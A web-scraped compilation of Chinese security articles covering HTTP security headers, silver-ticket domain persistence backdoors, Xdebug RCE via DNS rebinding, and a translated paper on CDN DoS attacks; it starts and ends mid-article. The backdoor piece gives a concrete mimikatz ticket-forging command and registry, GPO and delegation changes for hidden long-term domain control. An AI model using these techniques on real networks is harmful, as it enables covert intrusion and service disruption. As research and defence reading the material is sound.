* HTTPOnly：浏览器不允许JavaScript代码访问使用此属性设置的cookie的内容。这有助于通过XSS攻击减轻会话劫持。
### 5\. X-FrameOptions
此标头用于通过禁止浏览器在iframe元素中加载页面来保护用户免受[点击劫持](https://www.owasp.org/index.php/Clickjacking
"点击劫持")的攻击。
有3个指令可以设置：
* X-Frame-Options：DENY - 这不允许在任何网站的框架中加载页面。
* X-Frame-Options：sameorigin - 这将允许页面仅在原始frame相同的情况下加载到帧中，即www.site.com上的页面仅在frame所在的父页面上加载，被加载的域相同(www.site.com)。
* X-Frame-Options：allow-from uri - farme框架结构只能显示在指定域/源的帧中。
### 攻击场景
攻击者可以欺骗用户访问恶意网站，恶意网站会将目标应用程序加载到不可见的iframe中。当用户点击恶意应用程序（例如基于网络的游戏）时，点击将被“窃取”并发送到目标应用程序（点击劫持）。因此，用户将在未经他同意的情况下点击合法应用程序，这可能导致执行一些不需要的操作（例如删除帐户等）。
### 6\. X-XSS保护
此标头旨在防止跨站点脚本攻击。它适用于现代浏览器使用的XSS过滤器，它有3种模式：
* X-XSS-Protection：0; - 值为0将禁用XSS过滤器
* X-XSS-Protection：1; - 值为1将启用过滤器，如果检测到XSS攻击，浏览器将清理页面内容以阻止脚本执行。
* X-XSS-Protection：1; mode = block - 值为1，启用block mode的时候，如果检测到XSS攻击，则使用块模式的值1的处理。
### 7\. X-Content-Type-Options
此响应标头用于防止MIME嗅探漏洞。什么是MIME嗅探？MIME嗅探是Web浏览器的一项功能，用于检查所服务文件的内容。它的工作原理如下：
* Web浏览器请求文件。服务器发送带有HTTP标头`Content-Type`的文件。
* Web浏览器“嗅探”此文件的内容以确定文件格式。
* 完成分析后，浏览器会将其结果与服务器发送的结果进行比较。如果不匹配，浏览器将使用标识的格式。
这可能会导致安全漏洞。下面来看一看？
### 攻击场景
* 应用程序允许用户上传图像文件并验证其扩展名
* 用户上传带有jpg或png扩展名的图像文件，但此文件也包含恶意HTML代码
* 浏览器使用包含代码的HTML呈现文件并在浏览器中执行
通过将标头设置`X-Content-Type-Options`为`nosniff`，浏览器将不再“嗅探”所接收文件的内容，而是使用Content-Type标头中的值。此标头专用于IE和Chrome浏览器。
此标头可以与另外两个标头一起使用，以增强安全性。
* Content-Disposition：它强制浏览器显示弹出文件以下载文件pentest.html。`Content-Disposition: attachment; filename=pentest.html`
* X-Download-Options：当此标头设置为`noopen`时，用户被迫在打开之前首先在本地保存文件，而不是直接在浏览器中打开文件
## 泄漏信息的服务器标头
### 1.Server：
此标头包含有关后端服务器（类型和版本）的信息。例如，下面的屏幕截图显示运行Nike网页的Web服务器是`Jetty`版本`9.4.8.v20171121`。
具有此知识的对手可能会查找特定于Jetty版本9.4.8的漏洞。此信息可在公共漏洞数据库中找到，例如：
* <https://nvd.nist.gov>
* <https://cve.circl.lu>
* <https://www.securityfocus.com/bid>
您只需要搜索特定的产品和版本。以下是影响Jetty Web服务器的漏洞：
* [https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=jetty&search_type=all](https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=jetty&search_type=all)
### 2\. X-Powered-By：
包含Web应用程序中使用的Web框架或编程语言的详细信息。例如，https：//msc.mercedes-benz.com上的Web应用程序是使用`PHP
7.1.22`和托管的`Plesk`。
### 3\. X-AspNet-version：
顾名思义，它显示了ASP .NET框架的版本细节。这些信息可以帮助攻击者根据框架及其版本进行攻击。
## 结论
可以在服务器上配置特定HTTP标头，以增强Web应用程序的整体安全性。这些标头不会使应用程序更安全，但它们会减少利用应用程序的潜在漏洞的可能性。
## re
<https://pentest-tools.com/blog/essential-http-security-headers/>
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers> | 社区文章 |
# 一种深度隐蔽的后门方式（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 这是关于域中深度隐蔽后门系列的第二篇，第一篇为利用[
> **文件目录ACL深度隐藏后门**](https://www.anquanke.com/post/id/87096)。
>
>
> 本篇主要介绍利用域中主机账号的口令散列值制作白银票据，结合文章《[利用域委派获取域管理权限](https://www.anquanke.com/post/id/92484)》中的委派方式，在域中埋伏隐蔽后门，以长期隐蔽有效地高权限控制域。
>
> **前提条件** ：已经控制了域，并获取了域中主机账号的口令散列值。
## 0x01 白银票据基本原理
网络上有众多关于kerberos协议、黄金票据、白银票据的资料，本篇通过下图言简意赅地介绍白银票据的基本原理。
Kerberos协议认证过程，可粗略地分为6步（或者7步）。下图是域内一台主机的jack用户，想访问域内服务器A中的服务B（假设为文件共享），则认证过程如下：
1、jack向域服务器发起认证请求，告诉域服务器我是jack，认证内容为jack用户口令散列值（NTLM）加密的一个时间值；
2、域服务器使用存储在AD数据库中的jack用户的口令散列值（NTLM），对认证内容进行解密校验，成功则返回TGT票据，使用krbtgt的NTLM对TGT进行加密；
3、jack使用TGT向域服务器申请访问服务器A的服务B；
4、域服务器使用krbtgt的NTLM值解密TGT，成功则返回访问服务器A中服务B的TGS，TGS被服务B的服务账号ServiceAccount的口令散列值加密；
5、jack收到TGS后，将TGS发送给服务器A。A使用ServiceAccount账号的口令散列值解密收到的TGS，解密成功则允许访问；
6、服务器A告诉jack，校验成功，允许访问；
7、TGS中包含PAC的校验和，服务器A收到TGS并解密校验成功后，将PAC的校验和发送给域服务器，以判断PAC是否被篡改。这一步为可选步骤，一般不用关注。
在上面的第3步中，如果我们拥有krbtgt账号的口令散列值，则可以伪造TGT，宣称自己是域内任何账号，包括域管或者不存在的用户，这是黄金票据的原理。所以制作黄金票据的前提是获取krbtgt账号的口令散列值。
在上面的第5步中，如果我们拥有ServiceAccount账号的口令散列值，则可以伪造TGS，并宣称自己是域内的任何账号，例如域管理员，这是白银票据的原理。所以制作白银票据的前提是获取服务账号的口令散列值。
在windows系统中，许多服务以主机账号运行，即许多ServiceAccount账号为本机的主机账号，格式为ComputerName$。下表是常见的以主机账号运行的服务。右边一栏中有些有多个服务，例如WMI服务包括HOST、RPCSS这2个服务，表示访问WMI服务同时需要2个TGS票据。
服务名称 | 同时需要的服务
---|---
WMI | HOST、RPCSS
PowerShell Remoting | HOST、HTTP
WinRM | HOST、HTTP
Scheduled Tasks | HOST
Windows File Share | CIFS
LDAP | LDAP
Windows Remote Server | RPCSS、LDAP、CIFS
## 0x02 利用主机账号制作白银票据
演示样例：已知域服务器主机账号的口令散列值，使用Mimikatz的白银票据功能，伪造访问HOST服务的TGS，以域管理员权限运行域服务器的SCHTASKS命令，远程创建、查看、删除系统任务。
上图为伪造白银票据前内存中的票据，登录用户为域内普通用户eviluser，登录到域服务器TESTLABDC02。
上图为伪造白银票据后内存中的票据，伪造指令为：
kerberos::golden /admin:[email protected] /domain:testlab.com /sid:S-1-5-21-2390976136-1701108887-179272945 /target:TESTLABDC02.testlab.com /rc4:36788836f262b9409f102baa22b7a6f3 /service:cifs /ptt
其中rc4的参数为服务器TESTLABDC02的主机账号口令散列值。伪造白银票据并ptt进入当前会话后，内存中的TGS票据为administrator。
上图为使用schtasks命令远程在TESTLABDC02服务器上创建、查看、删除名为“SCOM Agent
check”的系统任务，必须具备TESTLABDC02的管理员权限才能查看，这里是域管理员权限。通过这个演示样例，可知基于主机账号口令散列值，制作隐蔽后门作用非常之大。
## 0x03 修改主机账号的口令策略制作后门
默认情况下，主机账号的口令每30天变更一次。因此，要想长期使已获取的主机账号的口令散列值长期有效，必须对口令更改策略进行修改。有3种修改方式：
1\.
在主机的注册表中修改策略，具体位置为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Netlogon\Parameters，键值为DisablePasswordChange，设置为1，即表示禁止修改账号口令；
2\. 在组策略中修改默认的30天，修改位置为“Computer Configuration\Windows Settings\Security
Settings\Local Policies\Security Options\Domain member: Maximum machine
account password age”，设置为0时，表示无限长；
3\. 直接禁止修改主机账号口令，用来支持VDI (virtual desktops)等类型的使用，具体位置为“Computer
Configuration\Windows Settings\Security Settings\Local Policies\Security
Options\Domain member: Disable machine account password changes”。
## 0x04 修改主机账号的委派设置权限制作后门
在我的另外一篇文章[《利用域委派获取域管理权限》](https://www.anquanke.com/post/id/92484)中，“样例4：一个主机账号被设置了约束性委派”，演示了使用主机账号的口令散列值和约束性委派获取域管理员权限的过程。前提条件为：主机账号的口令散列值和委派（约束性和非约束性均可）。
如果我们在域内有多个稳定的控制点，且获取了当前系统的SYSTEM权限，则随时可获取当前主机的主机账号（演示中的账号为win7x86cn$）口令散列值，满足了第1个条件；如果将该win7x86cn$账号的[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)权限赋予本机的低权限登录域用户（eviluser），则通过eviluser用户随时可更改win7x86cn$账号的委派设置，从而可满足第2个条件。
首先演示[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)权限赋予过程及委派设置过程。
[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)权限很特殊，设置方法为修改GPO策略文件，位置为域服务器中C:\Windows\SYSVOL\sysvol\testlab.com\Policies\\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf文件。[
**这里**](https://www.anquanke.com/post/id/85364)有关于[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)更详细的介绍。
上图中添加eviluser具备[SeEnableDelegationPrivilege](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/)权限，则eviluser可修改域内所有用户的委派设置。下图是测试在eviluser的登录会话中修改win7x86cn$账号的委派设置。
上图首先查看了win7x86cn这个账号的委派设置情况，标红的useraccountcontrol表示没有设置委派，中间使用Set-DomainObject进行委派设置，16777216表示设置TRUSTED_TO_AUTH_FOR_DELEGATION，通过Get-DomainObject查询设置后的结果，有了msds-allowedtodelegatedto选项，且useraccountcontrol发生了变更。
下面演示使用设置委派后的win7x86cn、口令散列值进行“样例4”中的测试。
上图为使用win7x86cn的NTLM，向域服务器请求win7x86cn账号的TGT票据。
上图为使用win7x86cn的TGT，在委派被设置的基础上，向服务器申请访问WIN-Q1C8HBI6G87服务器CIFS服务的TGS票据，访问权限为[email protected]。
上图为使用mimikatz将获取的TGS票据注入当前会话，并查看内存中的票据信息。
直接查看WIN-Q1C8HBI6G87服务器的C盘目录，能成功访问，则表示获取了[email protected]权限。
## 0x05 安全应对此类后门的策略
1. 通过域的组策略强制设置主机账号的最长有效期为30天；
2. 保护{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf文件、即关键组策略的完整性；
3. 高权限的用户，设置不能被委派，如图所示。
4. 5. 主机账号需设置委派时，只能设置为约束性委派。 | 社区文章 |
作者：salt@腾讯玄武实验室
原文：<https://xlab.tencent.com/cn/2018/03/30/pwn-local-xdebug/>
#### TL;DR
PHP开发者以及一些安全研究人员经常会在本地搭建一个基于Xdebug的PHP的调试服务，在大部分配置情况下，Xdebug采用HTTP请求头中的X-Forwarded-For字段作为DBGp协议的回连地址。受害者浏览攻击页面一段时间，攻击者可利用DNS Rebind技术向本地服务器发送带有恶意X-Forwarded-For的请求，即有可能在受害者电脑上执行任意代码。
Xdebug是用于调试PHP的扩展，可以根据本地源码远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境，用于日常的开发和调试。如果服务器开启了Xdebug的回连，并且攻击者能直接访问到服务器的话，可以直接造成RCE。
但是大部分情况下，这些服务器处于内网环境中，有些甚至监听在127.0.0.1上，攻击者很难直接访问到，导致无法利用。如果把开发人员当做代理，利用CSRF来攻击位于内网的Xdebug呢？
我们首先看一下Xdebug有关[远程调试的文档](https://xdebug.org/docs/all_settings#remote_connect_back
"远程调试的文档")。
如果xdebug.remote_connect_back启用，xdebug.remote_host没有设置，Xdebug会主动连接发起HTTP请求的客户端。Xdebug会依次检测`$_SERVER['HTTP_X_FORWARDED_FOR']`、`$_SERVER['REMOTE_ADDR']`来决定回连的IP地址。
即当Xdebug有类似如下的配置的时候，即有机会让Xdebug回连到请求头中X-Forwarded-For指向的ip地址。
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log = /tmp/test.log
一般来讲，在PHP开发人员的本地环境中会有index.php和config.php等文件。在受害者访问攻击者的恶意页面时，攻击者可以让受害者在浏览器里尝试向本地url如`http://127.0.0.1/index.php?XDEBUG_SESSION_START`或者`http://127.0.0.1/config.php?XDEBUG_SESSION_START`发起HTTP请求，并带有指向攻击者服务器的X-Forwarded-For请求头。这样攻击者就能在自己的服务器上收到来自受害者的DBGp协议的连接，在受害者的电脑上执行任意PHP代码。
我们都知道，在浏览器里发送带有非[simple header](https://developer.mozilla.org/en-US/docs/Glossary/Simple_header "simple header")的CORS请求的时候，需要先发送一个[preflight
request](https://developer.mozilla.org/en-US/docs/Glossary/preflight_request
"preflight
request")探测服务器是否允许发送这种请求头。此检测过程是由一个OPTIONS请求完成的。如果OPTIONS请求的响应头里有Access-Control-Allow-Headers: X-Forwarded-For这一项的话，才能发送带有X-Forwarded-For的GET或者POST请求。在受害者的本地环境中，几乎不会有这种响应头的。
不过，攻击者可以采用DNS
Rebind的方式来绕过这个限制。攻击者首先自己搭建一个DNS解析服务器，让自己控制的域名在发生第一次DNS解析的时候指向攻击者的服务器，以后都解析到127.0.0.1。这样当受害者访问攻击者的页面（`http://attacker-domain-with-dns-rebind/exp.html`）的时候，会从攻击者的服务器上拉取攻击代码，使浏览器循环向`http://attacker-domain-with-dns-rebind/index.php?XDEBUG_SESSION_START`发送带有恶意`X-Forwarded-For`头的请求。因为攻击者存放攻击代码的页面和触发Xdebug回连请求的url在同一个域内，即可不用发送前面所说的 preflight request。
由于DNS的解析结果也存在一定的缓存时间，在浏览器里大概需要1分钟的时间才会失效进行第二次解析。在发生第二次解析的时候，其指向的IP地址会变为127.0.0.1，即向受害者本地的服务器发送能触发Xdebug反弹的请求，这时候攻击者的服务器就能收到来自受害者Xdebug的连接了。攻击者可以通过DBGp协议中的eval命令在客户端执行任意php代码。
我们认为漏洞的成因是Xdebug从`X-Forwarded-For`头中取IP作为回连地址，而`X-Forwarded-For`头是不可信的。
玄武实验室于2018年3月26日将此问题报告给PHP官方，PHP官方人员于2018年3月30日作出回应，不认为这是一个安全问题，并将报告转为bug使之处于公开状态。玄武实验室建议PHP开发人员和安全研究人员在Xdebug的配置文件中根据当前情况增加`xdebug.remote_host`配置项，来防止自己遭受此攻击。
视频：<https://player.youku.com/embed/XMzUwMjMzNzAyOA==>
#### 参考文献
* <https://bugs.php.net/bug.php?id=76149>
* <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
* <https://medium.com/0xcc/visual-studio-code-silently-fixed-a-remote-code-execution-vulnerability-8189e85b486b>
* <http://bluec0re.blogspot.ch/2018/03/cve-2018-7160-pwning-nodejs-developers.html>
* * * | 社区文章 |
# 利用CDN自身机制破坏CDN DoS防护
##### 译文声明
本文是翻译文章，文章原作者 Run Guo, Weizhong Li, Baojun Liu, Shuang Hao, Jia Zhang,Haixin
Duan , Kaiwen Shen, Jianjun Chen, Ying Liu，文章来源：netsec.ccert.edu.cn
原文地址：<http://netsec.ccert.edu.cn/files/papers/ndss2020-cdnjudo.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
内容分发网络（CDN）通过其全球分布的网络基础结构提高了网站的访问性能和可用性，这有助于在互联网上以CDN为动力的网站的兴旺发展。由于以CDN为基础的网站通常会经营重要的业务或关键服务，因此攻击者有兴趣攻击这些高价值的网站，以最大的影响力造成严重破坏。CDN凭借其巨大的带宽资源吸收了分布式攻击流量，因此人们普遍认为CDN供应商为CDN驱动的网站提供了有效的DoS保护。
本文揭示了可以利用CDN转发机制中的实现或协议弱点来破坏此CDN保护。通过发送精心制作但合法的请求，攻击者可以对其背后的网站发起有效的DoS攻击，特别是在本研究中提出了三种CDN威胁。通过滥用CDN的HTTP/2请求转换行为和HTTP
pre-POST行为，攻击者可以使CDN起源的带宽饱和，并耗尽起源的连接限制。更令人担忧的是，某些CDN供应商仅使用少量的具有较低IP转换速率的流量转发IP来建立与源的连接。仅通过切断特定CDN起源的连接，此特征就为攻击者提供了一个绝佳机会，可以有效降低网站的全球可用性。
## 0x01 Introduction
通过在不同地理位置（通常跨多个互联网主干网）部署大型代理服务器，内容分发网络（CDN）可以作为地理分布的网络，支持网站在计算资源和网络带宽方面都具有高容量。由于其减轻流量的好处和全球可访问性，CDN已成为互联网生态系统中不可或缺的一部分。
CDN供应商还一直在宣传其抵御DoS攻击的能力，为CDN通过互联网的成功扩展做出了贡献，在CDN后面部署了越来越多的网站。例如，超过50％的Alexa前1千网站和超过35％的Alexa前1万的网站都部署在CDN之后。
但是，在本文中，通过实证研究六个CDN的转发行为，发现CDN本身可被滥用来攻击CDN背后的来源（网站服务器）。通过向CDN发送精心制作但合法的请求，攻击者可以对源发起DoS攻击，从而破坏CDN
DoS保护。简而言之，揭示了以下三个威胁：
**•HTTP/2带宽放大攻击（HTTP/2 Bandwidth Amplifification Attack）：**
发现CDN在客户端CDN连接中仅支持HTTP/2，因此攻击者可以滥用CDN的HTTP/2-HTTP/1.1转换行为来发起针对源的带宽放大攻击（例如，达到放大Cloudflare的系数为132）。分析了HTTP/2引入的HPACK压缩机制，该机制加剧了威胁，并且还揭示了可以滥用HTTP/2的并发流和Huffman编码来进一步提高带宽放大因子。
**•Pre-POST慢速HTTP攻击（Pre-POST Slow HTTP Attack）：**
在本研究中分析的六个CDN中，有三个在接收到POST标头后就开始转发HTTP
POST请求，而无需等待整个POST消息主体。可以滥用此POST前行为来耗尽来源的连接限制，并使其他合法用户的请求一直等待，从而导致针对来源的HTTP
DoS攻击缓慢。更糟糕的是，这些CDN的HTTP/1.1 POST转发和HTTP/2 POST转发行为都容易受到此威胁的影响。
**•全球可用性下降攻击（Degradation-of-Global-Availability Attack）：**
通过将请求发送到每个CDN的全球代理IP（入口IP）以模拟全球客户端访问，对每个CDN的流量转发IP（出口IP）的分布进行了大规模测量。结果表明，CDN将分配少量出口IP来访问源，从而降低IP交换速率。因此，攻击者可以通过切断一个或一小组CDN起源的连接来利用此特征来有效地降低由CDN驱动的网站的可用性，从而阻止大多数全球客户端访问该网站的服务。例如，对于MaxCDN（现已被StackPath收购），如果仅断开一个CDN起源的连接，则超过90％的全球访问将被阻止从CDN背后的源获取资源。
总而言之，本文集中于如何打破CDN安全保护，许多网站都认为CDN安全保护是值得信赖的。通过对研究不足的CDN源连接进行经验安全性分析，探索了滥用CDN的转发行为对CDN驱动的网站发起DoS攻击的可行性。
HTTP/2放大攻击基于先前的研究，但是尚未探讨它是否适用于受CDN保护的网站，因此，进一步提出了通过CDN对HTTP/2放大攻击的真实评估，并深入分析了HPACK机制。
此外，发现CDN供应商容易受到攻击的HTTP POST转发策略，可以利用该策略发起Pre-POST慢速HTTP攻击。最后，基于对CDN
IP分布的大规模测量，利用了CDN的低IP搅动率，可将其用于发动全球可用性下降攻击。结果表明，这些攻击对CDN驱动的网站构成了严重威胁。
众所周知，DoS攻击会对网站造成严重损害，从而导致金钱和这些网站客户之间的信任度损失。由于以CDN为基础的网站通常会运行重要的业务服务（例如银行，在线购物商店，新闻服务器），因此针对CDN隐藏的来源进行实际的DoS攻击可能会严重破坏这些网站的业务和声誉。
## 0x02 Background and Threat Model
### A.背景
**内容交付网络：**
CDN被广泛用于改善网站的性能和安全性。对于以CDN为动力的网站，CDN通过使用请求路由机制（例如，基于Anycast或DNS的方法）来加快连接性能，该机制将客户端的Web请求重定向到地理上分布的CDN代理（CDN入口IP
）。
收到Web请求后，CDN代理首先检查HTTP标头字段，尤其是Host和URI标头字段。如果所请求的Web资源已经缓存在CDN中，则代理将内容直接提供给客户端。否则，代理将通过出口IP将请求转发到源，如下图所示。结果，CDN将传统的端到端连接分为两个阶段，即客户端CDN连接和CDN源连接，作为客户端和源之间的中间人。
因此，从客户端角度来看，当客户端CDN连接的协议不同于CDN起源连接中使用的协议时，CDN首先必须充当协议转换器，例如，CDN转换客户端CDN
HTTPS连接到CDN源HTTP连接。其次，CDN旨在加快最终用户的请求延迟，因此CDN必须尽可能快地优化请求的从原点转发。最后，为了提高CDN缓存命中率并减少回原点转发，CDN可以添加一个额外的缓存层来缓存网站的资源内容以供其全球代理使用。
**请求路由机制：**
请求路由机制对于CDN提供最佳的CDN代理以处理请求至关重要。但是，如果代理IP是已知的，则可以绕过此机制；普通用户可以直接将请求发送到选定的代理IP，而无需请求路由阶段，否则，该阶段会将网站域名与CDN代理进行映射。
**CDN中的HTTP/2协议：**
HTTP/1.1协议为万维网奠定了基础，但是每个请求和响应中重复的冗余HTTP标头浪费了网络带宽，并且降低了连接性能。因此，发布了HTTP/2以解决这些问题：标头压缩减少了HTTP/1.1中不必要的网络流量，并且多路复用流允许在单个TCP连接中进行多个请求。当前，几乎所有的CDN都声称它们支持HTTP/2协议。
**CDN供应商的简要比较：**
全球CDN服务市场价值数十亿美元，并且以越来越快的速度增长，一些CDN供应商在这个蓬勃发展的市场中竞争。根据CDN市场份额报告，Akamai，CloudFront，Cloudflare和Fastly是该市场的主要参与者，因此，这些供应商自然应该在CDN的大多数研究范围内。但是，由于Akamai仅向企业客户提供CDN服务，因此研究未包括该服务。
在本研究中，选择了六个CDN供应商（Cloud
Front，Cloudflare和Fastly，这是前面提到的三个主要参与者，以及CDNSun，KeyCDN和MaxCDN），它们为单个用户提供免费试用帐户注册。在这六个CDN供应商中，只有五个需要电子邮件注册，并且只有CloudFront需要额外的信用卡验证。
从攻击者的角度来看，不需要严格的身份验证的这类CDN供应商，使攻击者可以在不暴露其敏感个人信息的情况下揭示和利用特定的CDN转发行为。此外，这六个CDN供应商涉及两个主要的请求路由机制：Cloudflare和MaxCDN使用Anycast路由，而其他四个CDN使用DNS映射，这有助于扩大研究范围。
### B.威胁模型
通常，网站使用CDN来提高其安全性和全球可用性。
CDN通常提供Web应用程序防火墙（WAF）服务，以规范对网站来源的请求。此外，CDN可以利用大量的地理分布代理来吸收分布式拒绝服务（DDoS）攻击。最后，通过托管在CDN上，网站可以将其“真实”源IP地址隐藏在潜在的攻击者面前。
在本研究中，假设攻击者作为普通客户端能够向CDN发送恶意但合法的请求。还假定受害网站托管在CDN上（或由恶意CDN客户无意间托管在CDN上）。在这里，通过研究，旨在发现一些可滥用的特定但基本的CDN特征。特别是，如果可以滥用CDN的转发机制，则攻击者可能能够操纵源自CDN的连接。结果，这些恶意连接可能耗尽源的有限网络资源，从而导致针对源的DoS攻击，如下图所示。
## 0X03 HTTP/2 Bandwidth Amplifification Attack
到目前为止，根据实验发现在其客户端CDN和CDN源连接中，CDN仅在客户端CDN连接中支持HTTP/2。因此，当接收到HTTP/2请求时，CDN必须将HTTP/2请求转换为HTTP/1.1请求，这可能会在协议转换过程中引入新的攻击媒介。在本节中，通过进一步研究跨越六个CDN的协议转换行为，揭示了可以利用所有六个CDN对它们所服务的网站源发起带宽放大攻击。
### A.攻击面分析
**Half-Done HTTP/2 Support：** 几乎所有CDN供应商都声称他们当前支持HTTP/2
。但是，由于CDN必须同时维护客户端CDN连接和CDN源连接，因此尚未对HTTP/2转发行为进行详细研究。在这里，首先通过将网站的源设置为仅HTTP/1.1服务器，仅HTTP/2服务器以及HTTP/1.1＆HTTP/2服务器，来探索CDN的HTTP/2支持行为。然后，使用curl工具作为客户端，以HTTP/2协议访问CDN服务。
实验表明如上表所示，CDN在客户端CDN连接中支持HTTP/2，但在CDN源连接中仅使用HTTP/1.1，即使源支持HTT
/2。因此，这些CDN必须在HTTP/2和HTTP/1.1协议之间转换Web请求，这可能会带来新的安全威胁。甚至更糟的是，如下表所示，这些CDN（除Fastly外）默认为其客户网站打开HTTP/2客户端CDN连接支持，从而直接将其客户网站暴露于可能的协议转换威胁。此外，由于三个CDN（Cloudflare，CDNSun和KeyCDN）甚至没有提供关闭此类HTTP/2支持的选项，因此导致的严重性也会增加。
**Primer on HTTP/2：** HTTP / 2的主要目标是减少延迟并最大程度地减少协议开销。首先，HTTP /
2协议在单个HTTP/2连接中支持多个并发双向流，从而减少了不必要的TCP握手过程，并支持完整的请求和响应多路复用。例如，在客户机与CDN的连接中，客户机与CDN建立一个HTTP/2连接，使用两个流通过“
path1”和“ path2”请求资源，如下图所示。
在HTTP/1.1中，标头字段未压缩。由于网页已经增长到需要数十到数百个请求，因此这些请求中的冗余头字段不必要地占用带宽。因此，在HTTP/2中，引入HPACK标头压缩主要是为了减少由HTTP/1.1中重复的请求和响应标头引起的不必要的网络流量。
根据HPACK机制，在客户端CDN连接中，客户端和CDN（作为HTTP/2服务器）都维护以前看到的标头值的索引动态表，随后的重复标头字段被替换为引用值的索引。由于许多标头字段（例如：authority，Cookie和用户代理）是重复的，因此该机制具有很高的表命中率。因此，替代索引而不是完整的标头字段在网络中传输，从而减少了传输的字节数。
当客户端打开第二个流以发送另一个“ path2”请求时，重复的标头字段（例如cookie）将被替换为索引（因此，这些字段未在上图的“
stream2”中显示）。这些机制大大减少了报头开销并提高了传输性能。
**Attack Principle：** 当CDN将这些请求转发到源时，必须将在HTTP/2中索引的所有标头字段扩展为HTT
/1.1请求，从而导致带宽放大。如上图所示，这种机制导致两个具有相同大cookie的大HTTP/1.1请求，这导致CDN起源连接中的带宽放大，放大率几乎为2。
在一个HTTP/2连接中，放大率相对于并发流的数量是线性的。建立HTTP/2连接时，协商并发流的最大值。测量CDN的流限制，并将它们列出在下表中。在所有六个CDN中，允许的最大并发流都大于100（RFC中的建议值）。
因此，为了使攻击者能够在CDN起源的连接中获得最大的放大率，精心设计的攻击HTTP/2请求都可以使用具有相同大数值的标头字段，例如，给定给定值的cookie广泛用于HTTP请求中。除cookie字段外，攻击者还可以使用HTTP/2协议中定义的其他标头字段，例如user-agent和Referer，这些标头字段也转发到源。标头字段值的大小受索引的动态表的大小限制，该索引也在HTTP/2连接期间协商。如上表所示，跨CDN的最大表条目大小为3072B，表大小为4kB。因此，精心设计的攻击性HTTP/2请求可以使用两个标头字段来填充索引表，从而使转换后的HTTP/1.1
CDN起源请求具有最大大小。
### B.真实攻击分析
**实验设置：**
基于先前解释的分析，进一步评估了横跨六个CDN的这种放大攻击的严重性。在每个CDN后面部署Apache服务器之后，启动与六个CDN中的每个CDN的HTTP/2连接以发送攻击请求，这些请求的设计如下：
为了获得最大的放大率，使用两个带有大字符串的cookie字段来填充4kB
HTTP/2动态表。假定最大表条目大小为3072B，则通过从总4kB动态表大小中减去额外的开销字节来计算两个cookie值的长度。额外的开销字节由表条目开销和其他标头字段值（例如：authority和user-agent）确定。这两个Cookie在所有并发流中保持相同，因此除了第一个流外，它们将以与索引相同的方式进行传输。请注意实际上使用两种类型的:path标头字段值来评估放大率。
在实验中，为了探索并发流对放大率的影响，更改了一个HTTP /
2连接内的并发流数，并使用tcpdump捕获了客户端CDN连接和CDN起源连接中的流量评估放大系数。
**实验结果：**
根据上图，当并发流的数量增加时，带宽放大率也增加。如下图所示，当并发流的数量增加时，分组放大率也增加。当并发流达到一个HTTP/2连接允许的最大数目时，放大率达到最大值。当流数量超过一个HTTP/2连接的最大允许数量时，HTTP/2客户端必须等待之前的流关闭，并且数据包比率下降，如下图所示。达到允许的并发流的最大数量后，比率会波动。
带宽放大率总结在下表中，可以看到这种HTTP/2–HTTP/1.1转换威胁是现实的。它可能会破坏CDN保护并导致对源的严重DoS攻击。
**放大因子分析：**
从图中可以看到带宽放大率主要取决于并发流的数量。通过对HTTP/2规范的进一步分析，还发现其他影响带宽放大率的因素，例如霍夫曼编码和:path头字段。
**•Huffman编码：**
在HPACK压缩机制中，Huffman编码用于进一步压缩标头值。此霍夫曼代码是针对HTTP标头统计生成的，其中ASCII数字和小写字母的编码较短。一个字节的最短编码为5位长；因此一个字节可获得的最高压缩率是8bit:5bit霍夫曼编码（小37.5％）。因此除了并发流之外，还可以滥用霍夫曼编码以最大化放大率。因为首先使用Huffman编码压缩HTTP/2标头，然后在CDN源连接中将其解压缩，所以生成的HTTP/1.1标头的大小将近8/5
= 160％。
因此在实验中，两个cookie值由字符0、1、2，a，c，e，i，o，s或t组成，它们具有RFC中定义的最短霍夫曼编码（5位）。使用霍夫曼编码，可以达到上表中列出的放大率。
**•:path标头字段：**
在实验中还发现:path标头字段有助于放大率。如果直接在所有攻击请求中使用:path:/，因为它是静态表中的预定义索引，则只需在所有HTTP/2并发流中传输1B即可。但是在万维网中，URL的长度可以不同，并且攻击者通常使用随机URL绕过CDN缓存或WAF规则。因此，在每个HTTP/2流中，还将不同的随机字符串附加到:path标头字段中，形式为:path:/?random_string。
如上表所示，在每个生成的HTTP/1.1连接中，:path:/标头字段也转换为1B。当在每个HTTP/2请求的:path头字段中使用随机值/?random_string时，该字段中的随机值是非重复值，因此不会出现在动态表中。根据HPACK机制，该值将以其原始格式或使用霍夫曼编码格式（两者中的较短者）进行编码。在上表中，可以看到:path:/?xxxyy在HTTP/2中消耗8B（对于:path字段的索引为1B，对于/?xxxyy为7B），并且在每个HTTP/1.1请求将是7B。
在实验中，发送这两种类型的:path标头来评估带宽放大率并获得不同的结果。这些差异的原因是，当并发HTTP/2流的数量增加时，:path标头字段的长度开始影响放大率。在实验中，使用:path:/形式时，攻击者CDN连接前端流量（FB）的网络流量约为数千，例如每秒5,000字节，而CDN起源的连接后端流量（BB）约为数百万，例如每秒600,000字节。放大率是BB
/ FB。
另一方面，当使用:path:/?xxxyy形式，并且发送n个（例如100、128或256）并发HTTP/2流时，与:path:/形式相比，攻击者与CDN的连接将为（FB
